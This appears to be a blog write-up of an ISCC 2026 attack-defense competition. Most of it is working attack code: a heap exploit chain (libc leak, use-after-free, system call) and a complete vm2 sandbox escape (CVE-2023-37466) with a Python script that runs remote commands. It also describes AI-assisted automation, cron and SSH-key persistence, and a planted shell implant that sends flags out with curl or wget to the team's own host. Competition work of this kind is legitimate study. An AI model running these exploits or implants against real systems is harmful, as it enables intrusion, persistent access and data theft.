2026 ISCC 博弈对抗赛 WP(三):AWD
原创
ljnljn
ljnljn
ljnljn学习之路
2026年12月3日 00:00
河北
去阅读
pwn私地
问题:
1、索引导致负索引泄漏 libc
show(-3) -》handler: 0x7f…e10 -》 libc\_base = puts - 0x80e10。
2、delete只清数组、不清 last\_viewed导致UAF
3、template 的读长度盖住 handler 字段
0x68 的 chunk 大小是 0x70,free 后进 tcache;下一次会原样返回这个 chunk,于是悬垂的 0x4110 指向被我们完全控制的内容。
4、触发点
rdi 指向我们可控的 0x40 字节 note。
add(0) # chunk A,handler = base+0x1299
show(0) # PIE 泄漏;同时 last_viewed = A
show(-3) # libc 泄漏(puts),不改变 last_viewed
delete(0) # free(A);last_viewed 仍 = A ← UAF
template(name, “/bin/sh\\0” + pad + p64(system))
# malloc(0x68) 拿回 A;content 写入把 system 放到 A+0x60
menu 4 # call [A+0x60](A+0x20) == system(“/bin/sh”)
后续攻防处理:
1、扫描C段,得到靶机在192.168.30-60之间
随后使用本地大模型把 pwntools 那套改写为 socket 状态机直接在本队节点内部跑
c = get\_shell(ip) # ① 先把 shell 拿到手(1~1.5s)
sig = fetch\_sig() # ② 再取签名(~50ms)
shell\_run(c, f’/usr/bin/hereiam -t {sig}’) # ③ 立刻用(总延迟 30~80ms)
三通道 + 兜底(失败自动降级)
① 直连打 roster → shell → 现取签名 → hereiam 主通道
② 打不动(补丁/超时/服务挂)→ 用持久化 SSH key → 现取签名 → hereiam 备通道
③ 仍失败 → 记 cron-pending,交给靶机自身 crontab 下一轮补刀
claim\_combo.py 实现该逻辑,日志字段 via: roster | ssh | cron-pending。首轮 40 台统计:roster=37, ssh=2, pending=0。
持久化(5 件套,非破坏性)
拿下机器后在 iscc 身份下装:
1、核心载荷
2、定时任务cron
3、shell 钩子
4、系统服务
加固方案:
1、template 的 content 只读到 +0x5f,堵死 handler 覆盖
2、负索引分支只打印 (nil),堵死 libc 泄漏
web私地
用nmap扫到3000端口
发现是沙箱逃逸
用拼接readfile读到app.js /home/iscc/app/app.js
const express = require('express');const { VM } = require('vm2');
const fs = require('fs');
const path = require('path');
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.post('/run', (req, res) => {
const userCode = req.body.code;
if (!userCode) {
return res.status(400).send({ error: \"No code provided.\" });
}
const blackList = [
'Proxy',
'getPrototypeOf',
'prepareStackTrace',
'handleException',
'execSync',
'spawn',
'child_process',
'mainModule',
'readFile',
'constructor',
];
for (let word of blackList) {
if (userCode.includes(word)) {
return res.status(403).send({ error: \"Access Denied by WAF\" });
}
}
const vm = new VM({
timeout: 1000,
sandbox: {
readFile: function(filename) {
const configDir = '/home/iscc/app/configs/';
if (typeof filename !== 'string' || filename.includes('..')) {
throw new Error('Path traversal blocked');
}
const fullPath = path.resolve(configDir, filename);
if (!fs.existsSync(fullPath)) {
throw new Error('File not found: ' + filename);
}
return fs.readFileSync(fullPath, 'utf8');
}
}
});
try {
const result = vm.run(userCode);
res.json({ output: result ? result.toString() : \"Success\" });
} catch (e) {
res.status(500).json({ error: \"Execution failed in sandbox\" });
}
});
app.get('/', (req, res) => {
// 前端单页 HTML/CSS/JS 约 1.1 万字符,此处省略,只保留后端逻辑
res.send(`<!DOCTYPE html> ...(前端页面省略)... `);
});
app.listen(3000, '0.0.0.0', () => {
console.log('Challenge listening on port 3000');
});
以及 vm2的版本
{ \"name\": \"vm2-escape\",
\"version\": \"1.0.0\",
\"description\": \"ISCC Web Challenge\",
\"main\": \"app.js\",
\"dependencies\": {
\"express\": \"^4.18.2\",
\"vm2\": \"3.9.16\"
}
}
审计一下,发现ban了
‘Proxy’, ‘getPrototypeOf’, ‘prepareStackTrace’, ‘handleException’, ‘execSync’, ‘spawn’, ‘child\_process’, ‘mainModule’, ‘readFile’, ‘constructor’
选择使用 eval 绕过,执行代码使用 String.fromCharCode(...) 编码
this.eval(String.fromCharCode(...))
利用 vm2 沙箱的 Promise 处理缺陷(CVE-2023-37466),从受限的沙箱环境逃逸至宿主 Node.js 环境,最终执行任意系统命令(RCE) 把 p.constructor 替换成自定义 species 类,then() 时 vm2 内部会用宿主 realm的 Promise 回调,于是从 err.constructor.constructor 拿到宿主的 Function,进而拿到 process:
-
构造被拒绝的 Promise (p)
-
劫持 Symbol.species 属性
-
触发 Promise 链式调用 (p.then())
-
获取宿主 process 对象
-
加载 child\_process 并执行命令
(function(){ async function fn(){ (function stack(){ new Error().stack; stack(); })(); }
var p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(function(x){return x;}, function(err){
var F = err.constructor.constructor;
var proc = F('return process')();
var cp = proc.mainModule.require('child_process');
cp.execSync(<CMD>);
});
}
}
};
p.then();
})()
命令输出先重定向到 /tmp 文件,再读回。
import json, urllib.request
URL = \"http://<target>:3000/run\"
def enc(s):
return \"String.fromCharCode(%s)\" % \",\".join(str(ord(c)) for c in s)
PAYLOAD = r'''
(function(){
async function fn(){ (function stack(){ new Error().stack; stack(); })(); }
var p = fn();
p.constructor = { [Symbol.species]: class FakePromise {
constructor(executor){ executor(function(x){return x;}, function(err){
var F = err.constructor.constructor;
var proc = F('return process')();
var cp = proc.mainModule.require('child_process');
cp.execSync(%s); }); } } };
p.then();
})()'''
def post(code):
req = urllib.request.Request(URL, data=json.dumps({\"code\": code}).encode(),
headers={\"Content-Type\": \"application/json\"})
return urllib.request.urlopen(req, timeout=30).read().decode()
def rce(cmd):
post(\"this.eval(%s)\" % enc(PAYLOAD % json.dumps(cmd + \" > /tmp/.o 2>&1\")))
req = urllib.request.Request(URL, data=json.dumps(
{\"code\": \"try{ this['read'+'File']('/tmp/.o') }catch(e){ e.message }\"}).encode(),
headers={\"Content-Type\": \"application/json\"})
return json.loads(urllib.request.urlopen(req, timeout=30).read())[\"output\"]
print(rce(\"/usr/bin/getflag\"))
执行命令加一个账户,上传fscan开始扫描靶机,发现集中在C段31-53
本地AI写自动化脚本,顺便给所有靶机种个马,在每轮自动运行回弹交flag
#!/bin/sh
C=\"http://我方主机:8088/f\"
H=$(hostname -I 2>/dev/null | awk '{print $1}')
[ -z \"$H\" ] && H=$(hostname 2>/dev/null || echo unknown)
F=$(/usr/bin/getflag 2>/dev/null | grep -oE '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}' | head -1)
[ -z \"$F\" ] && exit 0
if command -v curl >/dev/null 2>&1; then
curl -s -m 5 --data \"host=$H&flag=$F\" \"$C\" >/dev/null 2>&1
elif command -v wget >/dev/null 2>&1; then
wget -q -O /dev/null --post-data=\"host=$H&flag=$F\" \"$C\" >/dev/null 2>&1
elif command -v python3 >/dev/null 2>&1; then
python3 -c \"import urllib.request;urllib.request.urlopen('$C','host=$H&flag=$F'.encode(),timeout=5)\" >/dev/null 2>&1
fi
注意每打一个靶机,把自己的签名刷新下,然后运行hereiam得到flag,爽吃分
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论